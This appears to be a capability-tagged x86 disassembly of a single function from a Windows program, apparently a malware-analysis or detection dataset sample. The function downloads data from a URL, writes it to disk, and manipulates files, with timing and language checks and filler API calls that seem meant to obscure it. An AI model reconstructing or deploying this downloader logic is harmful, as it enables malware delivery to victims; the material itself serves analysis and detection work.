Function at 0x4024a0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Copy file
Create http request
Delete directory
Download and write a file
Get common file path
Get disk information
Get file attributes
Get memory capacity
Identify system language via api
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x758
mov eax, dword [0x564490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov dword [ebp - 0x740], eax
mov byte [ebp - 0x108], 0
call fcn.004faaf0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 0xc
lea edx, [ebp - 0x71c]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0x749
push 0x63
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
cmp dword [edi + 0x14], 0x10
jb 0x402512
mov edi, dword [edi]
push ebx
push edi
lea eax, [ebp - 0x108]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x51ef4c
call edi
push 0x51ef40
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov dword [ebp - 0x750], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0x352
push 0xe6
push 0x3ac
push 0x3e0
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0x51ef38
call edi
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
push 0x51ef2c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp dword [ebp - 0x750], 0xffffffff
je 0x402ada
push 0
push 0
push 0
push 0
push 0x51ef28
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x754], eax
lea eax, [ebp - 0x20c]
push eax
push 0x104
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x51ef1c
push 0x51ef0c
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0x100
lea ecx, [ebp - 0x30c]
push ecx
push 0
push 0x292d
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [ebp - 0x754]
test ecx, ecx
je 0x402aab
mov eax, dword [ebp - 0x740]
cmp dword [eax + 0x14], 0x10
jb 0x402661
mov eax, dword [eax]
push 0
push 0x4000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0
mov ebx, eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test ebx, ebx
je 0x402a5f
push 0x500000
call fcn.0040785c
add esp, 4
mov dword [ebp - 0x740], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0x51ef00
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x51eef8
push 0x51eeec
call edi
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor edi, edi
push 0x2d6
mov dword [ebp - 0x744], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 0x100
lea edx, [ebp - 0x30c]
push edx
push edi
push 0x352
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push edi
push 0x100
lea eax, [ebp - 0x208]
push eax
push edi
push 0x2284
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea ecx, [ebp - 0x73c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push edi
push edi
push edi
push edi
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push 0x51eee0
push 0x51eed8
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
lea edx, [ebp - 0x71c]
push edx
mov dword [ebp - 0x74c], edi
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push edi
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push edi
push 0x3d
push 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea eax, [ebp - 0x74c]
push eax
push 0x400
lea ecx, [ebp - 0x70c]
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40288d
jmp 0x4027c0
mov eax, dword [ebp - 0x74c]
test eax, eax
je 0x402887
push eax
mov eax, dword [ebp - 0x740]
lea edx, [ebp - 0x70c]
push edx
lea ecx, [edi + eax]
push ecx
call fcn.004f9cf0
add esp, 0xc
push str.._Q
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [ebp - 0x744]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1a40
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
add edi, dword [ebp - 0x74c]
lea eax, [ebp - 0x71c]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x51eec4
push 0x51eeb4
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0x57
push 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea ecx, [ebp - 0x748]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea edx, [ebp - 0x74c]
push edx
push 0x400
lea eax, [ebp - 0x70c]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4027c0
mov dword [ebp - 0x744], edi
lea ecx, [ebp - 0x744]
push ecx
lea edx, [ebp - 0x740]
push edx
call fcn.00402060
add esp, 8
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ecx, dword [ebp - 0x744]
mov edx, dword [ebp - 0x740]
push 0
lea eax, [ebp - 0x758]
push eax
mov eax, dword [ebp - 0x750]
push ecx
push edx
push eax
mov dword [ebp - 0x758], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x71c]
push ecx
call edi
lea edx, [ebp - 0x72c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x748]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x51eea8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 0x740]
push ecx
call fcn.00407851
add esp, 4
push 1
push 0x1c9
push 0xce
push 0x331
push 0x325
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
lea edx, [ebp - 0x72c]
push edx
call edi
push 1
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, dword [ebp - 0x754]
push eax
call ebx
push 0x51eea0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 1
push 0x237
push 0x3ce
push 0x337
push 0x3bb
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
lea ecx, [ebp - 0x72c]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call edi
lea edx, [ebp - 0x748]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x754]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov ecx, dword [ebp - 0x750]
push ecx
call edi
push 0x322
push 0x327
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea edx, [ebp - 0x73c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0x51ee94
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
push 0x51ee8c
push 0x51ee7c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa7f1
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x51ee74
call ebx
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x51ee6c
push 0x51ee64
call edi
push 0x51ee54
call ebx
lea ecx, [ebp - 0x748]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edx, dword [ebp - 0x750]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x51ee48
push 0x51ee3c
call edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea eax, [ebp - 0x748]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.004fa7f1
mov esp, ebp
pop ebp
ret